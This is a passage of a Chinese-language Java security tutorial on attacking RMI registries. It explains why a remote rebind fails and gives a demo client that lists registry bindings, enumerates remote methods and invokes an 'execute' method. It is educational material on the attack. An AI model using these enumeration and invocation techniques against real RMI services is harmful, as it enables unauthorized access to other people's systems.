攻击RMI

攻击背景

  • Registry与Server位于同一JVM
  • 攻击者能够访问目标RMI Registry服务
  • 攻击者和Registry与Server不在同一JVM
  • 攻击者可控的是自己的Client,只能于server远程通信

rebindRegistry攻击?

1
2
3
4
5
6
7
8
9
10
11
public class RmiServer {
public static void main(String[] args) throws RemoteException, MalformedURLException {
LocateRegistry.createRegistry(9090);
System.out.println("RMI注册表-启动成功");
test t1= new testimpl();
Naming.rebind("rmi://100.10.24.123:9090/test",t1);
System.out.println("Test服务注册启动-成功");
System.out.println("Test服务运行中......");
}
}

上面是远程服务端。那攻击者能否直接这样本地编写Client,rebindRegistry直接覆盖Registry绑定的对象呢?

1
2
Evil e1= new Evilimpl();
Naming.rebind("rmi://100.10.24.123:9090/evil",e1);

显然是不行的

image-20251110163105669

Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、bind、unbind等方法。而攻击者的来源地址显然是外部公网地址

遍历危险方法

这种攻击方式就比较直接了,利用Registry的引用,列出存在的远程方法,调用执行即可,下面我们编写demo演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.javasec.RMI.rmi1;

import java.io.IOException;
import java.lang.reflect.Member;
import java.lang.reflect.Method;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient {
public static void main() throws IOException, NotBoundException {
Registry r1 = LocateRegistry.getRegistry("localhost",9090);
String[] boundNames = r1.list();
for (String name : boundNames) {
System.out.println(" - "+name);
}
Remote robj = r1.lookup("test");
Class<?>[] ins = robj.getClass().getInterfaces();
for (Class<?> in : ins) {
System.out.println(" - " + in.getName());
}
Method[] ms=robj.getClass().getDeclaredMethods();
for (Method m : ms) {
System.out.println(" 方法: " + m.getName());
}
test t1 = (test) Naming.lookup("rmi://localhost:9090/test");
t1.execute();

}
}